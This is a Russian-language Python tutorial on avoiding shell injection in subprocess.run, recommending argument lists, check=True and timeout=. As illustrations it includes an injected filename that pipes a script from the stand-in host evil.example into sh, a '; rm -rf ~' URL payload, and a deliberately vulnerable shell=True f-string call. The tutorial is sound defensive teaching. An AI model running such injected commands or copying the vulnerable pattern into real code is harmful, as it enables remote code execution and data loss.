subprocess и безопасность от shell-инъекций
Запускай внешние команды через subprocess.run со списком аргументов — тогда shell их не парсит и shell-инъекция превращается в безобидную строку-аргумент. Затем ограничивай каждый вызов через check=True и timeout=, чтобы ошибки и зависания всплывали, а не проходили молча.
Внутренний инструмент превью-картинок работал два года, пока кто-то не загрузил файл с именем x.png; curl evil.example/p | sh. Инструмент делал очевидное: дёргал ImageMagick через subprocess.run(f"convert {filename} out.png", shell=True). Имя файла приходило прямо из формы загрузки, поэтому до /bin/sh доходило convert x.png; curl evil.example/p | sh out.png — две команды, а не одна. Shell запустил convert, упёрся в ;, а затем бодро выполнил curl … | sh атакующего на сервере. Ни переполнения буфера, ни хитрой цепочки эксплойта. Просто строка, интерполяция f-строки и shell, который делает ровно то, что велят shell-метасимволы. У того же инцидента было продолжение неделю спустя: битая загрузка заставила convert зависнуть навсегда и заняла воркера — потому что никто не выставил timeout. Этот урок о двух строчках, которые предотвращают и то, и другое: передавай список и ограничивай вызов.
subprocess.run: современный API и список, обезоруживающий shell
subprocess.run(...) — это та единственная точка входа, которая нужна для запуска внешней программы; он заменяет более старые os.system и os.popen, которые всегда брали только shell-строку и почти не давали контроля над результатом. Самое важное решение при работе с run — это как ты передаёшь команду, потому что именно оно определяет, участвует ли shell вообще.
import subprocess
# БЕЗОПАСНО: список аргументов. Python вызывает execve("git", ["git","clone",url]) напрямую.
# Никакого shell. `url` — одна литеральная запись argv, метасимволы в нём не имеют смысла.
subprocess.run(["git", "clone", url])
# ОПАСНО: одна строка + shell=True. Python передаёт всю строку в /bin/sh,
# который ПАРСИТ её — всё в `url` вроде ; | && $() запускается как своя команда.
subprocess.run(f"git clone {url}", shell=True)В форме со списком subprocess запускает программу напрямую через семейство execve ОС: программа — это argv[0], а каждый остальной элемент списка передаётся как литеральный аргумент, байт в байт. В цепочке нет никакого /bin/sh, так что нечему интерпретировать ;, |, &&, $(…) или обратные кавычки. Враждебный url вида https://h/r; rm -rf ~ — это просто (бессмысленная, безвредная) строка-аргумент, переданная git, который отвергает её как плохой URL. В этом вся защита: нет shell — нет shell-инъекции.
▸Почему это работает
Почему форма со списком предотвращает инъекцию, а форма строка + shell=True — включает её? Потому что форма со списком целиком обходит shell — Python запускает программу напрямую и передаёт каждый элемент списка как литеральную запись argv, так что shell-метасимволы внутри аргумента не имеют особого смысла; это просто байты внутри строки, которую получает программа. shell=True же прогоняет твою единственную строку через /bin/sh, чья вся работа — парсить эту строку: он бьёт по пробелам, раскрывает $VAR и $(…) и трактует ;, |, && как разделители команд. Поэтому любая подстрока, подконтрольная атакующему, может закрыть задуманную команду и открыть новую. Shell не сломан — он делает ровно то, что shell делает. Фикс — никогда не давать ему шанса: держи аргументы списком и оставь shell в дефолтном False.
shell=True — вектор инъекции, а shlex.quote — утешительный приз
Опасность не в самом shell=True, а в shell=True с интерполированным недоверенным вводом. В момент, когда любая часть этой строки приходит от пользователя, из загрузки, из тела HTTP, из имени файла или другого сервиса, атакующий может протащить через неё shell-метасимволы и вырваться из задуманной команды. Это хрестоматийная OS command injection (OWASP), и для неё не нужно ничего экзотического — ; или $(…) — это весь payload.
# Уязвимость в одной строке. `filename` приходит из формы загрузки.
subprocess.run(f"convert {filename} out.png", shell=True) # filename = "x.png; <команда>"
# Фикс — не «экранировать сильнее», а «вообще не строить shell-строку»:
subprocess.run(["convert", filename, "out.png"]) # filename is one inert argv entryЕсли тебе по-настоящему нужна фича shell — пайплайн, glob, раскрытие ~, которое делает только shell, — тогда и только тогда тянись к shlex.quote(), чтобы экранировать каждый недоверенный кусок перед тем, как он войдёт в строку. Но относись к этому как к утешительному призу: shlex.quote — в одном забытом вызове от дыры, тогда как форма со списком структурно безопасна и забывать там нечего. Тянись к списку первым, каждый раз; тянись к shell (с shlex.quote на каждом недоверенном фрагменте) только когда фича shell действительно требуется.
Захват вывода и реальная проверка результата
Когда инъекция исключена, следующий вопрос: сработало ли? Запустить команду — половина работы; прочитать, что произошло, — вторая половина. subprocess.run([...], capture_output=True, text=True) захватывает stdout и stderr ребёнка как декодированные строки (без text=True ты получишь сырые bytes). Возвращённый CompletedProcess несёт .returncode — код возврата, где 0 — успех, а любое ненулевое значение — сбой, о котором программа тебе сообщает.
r = subprocess.run(["git", "clone", url], capture_output=True, text=True)
if r.returncode != 0:
raise RuntimeError(f"clone failed: {r.stderr}") # don't sail past a non-zero exit
# Или пусть subprocess бросит за тебя — check=True превращает ненулевой код в исключение:
subprocess.run(["git", "clone", url], check=True) # бросает CalledProcessError при сбоеПодвох тут — это скриптовый аналог непроверенного кода возврата ошибки: по умолчанию run не бросает исключение на ненулевом выходе, так что упавший шаг выглядит успешным, и твой скрипт марширует дальше. Это тот баг крон-задачи, где ночной бэкап «отрабатывал нормально» месяцами, потому что шаг pg_dump выходил с ненулевым кодом, и никто не проверял. Дисциплина безусловна: либо сам инспектируй .returncode, либо передавай check=True, чтобы упавшая команда бросала CalledProcessError, а не проходила молча.
timeout=: граница, которая не даёт зависшему ребёнку повесить тебя
Внешние команды общаются с сетями, дисками и другими процессами — а всё это может застрять. subprocess.run([...], timeout=30) бросает TimeoutExpired, если ребёнок не завершился за заданное число секунд. Без него застрявший git fetch к мёртвому зеркалу, curl к чёрной дыре хоста или convert, жующий битый файл, повесят твой скрипт — а в CI повесят весь пайплайн — на неопределённый срок.
try:
subprocess.run(["git", "fetch"], check=True, timeout=30)
except subprocess.TimeoutExpired:
# дочерний процесс убит; обработай зависание вместо бесконечного ожидания
log.error("git fetch exceeded 30s — aborting")Это ровно продолжение инцидента с превью: битая загрузка заставила convert крутиться вечно и заняла воркера, и фиксом стало добавление одного слова — timeout=. Относись к каждому внешнему вызову как к тому, что может зависнуть, и ограничивай его. Завершают картину два смежных подвоха: чтение большого вывода через сырой subprocess.PIPE и затем .wait() может встать в deadlock, когда буфер pipe ОС заполняется и ни одна сторона его не дренирует, — run() (и Popen.communicate()) читают pipe за тебя и обходят это; и передавай env= явно, когда нужна воспроизводимость или хочешь не утечь секреты родителя в ребёнка, а cwd= — чтобы задать рабочую директорию вместо мутации процесса через chdir.
| Вызов | Shell? | Риск инъекции | Вердикт |
|---|---|---|---|
run([prog, arg], …) | Нет (execve напрямую) | Нет — arg литерален | Дефолт. Используй это. |
run(f”prog {x}”, shell=True) | Да — парсит /bin/sh | Полная инъекция, если x недоверен | Избегай с недоверенным вводом |
os.system(f”prog {x}“) | Да — всегда shell | Та же инъекция, меньше контроля | Легаси — не тянись к нему |
run(cmd, shell=True) + shlex.quote | Да, но экранировано | Низкий, если каждый кусок quote-нут | Только когда нужна фича shell |
Нужно запустить `git clone <url>`, где `url` приходит от недоверенного пользователя, безопасно и надёжно. Какой вызов ты отгрузишь?
`url` — это недоверенный пользовательский ввод. Какой вызов subprocess.run защищён от инъекции и почему?
Помимо избегания shell, почему нужно выставлять check=True (или инспектировать .returncode) и передавать timeout=?
- 01Объясни точно, почему subprocess.run со списком аргументов защищён от инъекции, а форма строка + shell=True — нет, и какая единственная корректная митигация, когда shell всё же нужен.
- 02Помимо победы над инъекцией, какие две границы делают вызов внешней команды надёжным, что каждая предотвращает и какие смежные подвохи с PIPE/env?
Безопасный запуск внешних команд сводится к одному структурному выбору и двум границам. Выбор: вызывай subprocess.run с командой в виде СПИСКА аргументов, никогда как строку с shell=True. Форма со списком запускает программу напрямую через execve (системный вызов ОС для запуска процесса) без shell в цепочке, так что каждый элемент — это литеральная запись argv, и shell-метасимволы в имени файла или url (;, |, &&, $(…)) инертны — враждебный ввод это просто (отвергнутый) аргумент, никогда не вторая команда. Форма строка + shell=True вместо этого кормит /bin/sh, который парсит строку, так что любая недоверенная подстрока может вырваться и запустить свою команду — классическая OS command injection (OWASP), ровно тот баг за инструментом превью, который запустил загруженное имя файла x.png; <command> как настоящую shell-команду. У os.system тот же изъян при меньшем контроле. Используй shlex.quote на каждом недоверенном фрагменте только когда тебе действительно нужна фича shell; иначе в форме со списком забывать нечего. Затем ограничивай вызов: по умолчанию run не бросает исключение на ненулевом выходе, так что выставляй check=True (или инспектируй .returncode), чтобы сбои не проходили молча, как крон-бэкап, который «отрабатывал нормально», выходя с ненулевым кодом; и передавай timeout=, чтобы зависший ребёнок (git fetch к мёртвому зеркалу, зацикленный convert) бросал TimeoutExpired, а не блокировал скрипт — однословный фикс продолжения инцидента с превью. Завершай это чтением вывода через run/communicate, а не сырой PIPE + wait(), который может встать в deadlock, передачей env= явно, чтобы не утечь секреты, и cwd= вместо os.chdir. Теперь, когда встретишь subprocess-вызов с f-строкой и shell=True, — знаешь, к какому классу инцидентов он приглашает и какая однострочная замена его закрывает.
Практика
Начни сверху. Задачи идут от простого к сложному: вспомнить факт, применить к случаю, затем senior-уровень. Открой, попробуй, потом открой ответ.
Что-то непонятно?
Задай вопрос по этому уроку. Вопросы анонимны и попадают напрямую автору — урок станет лучше.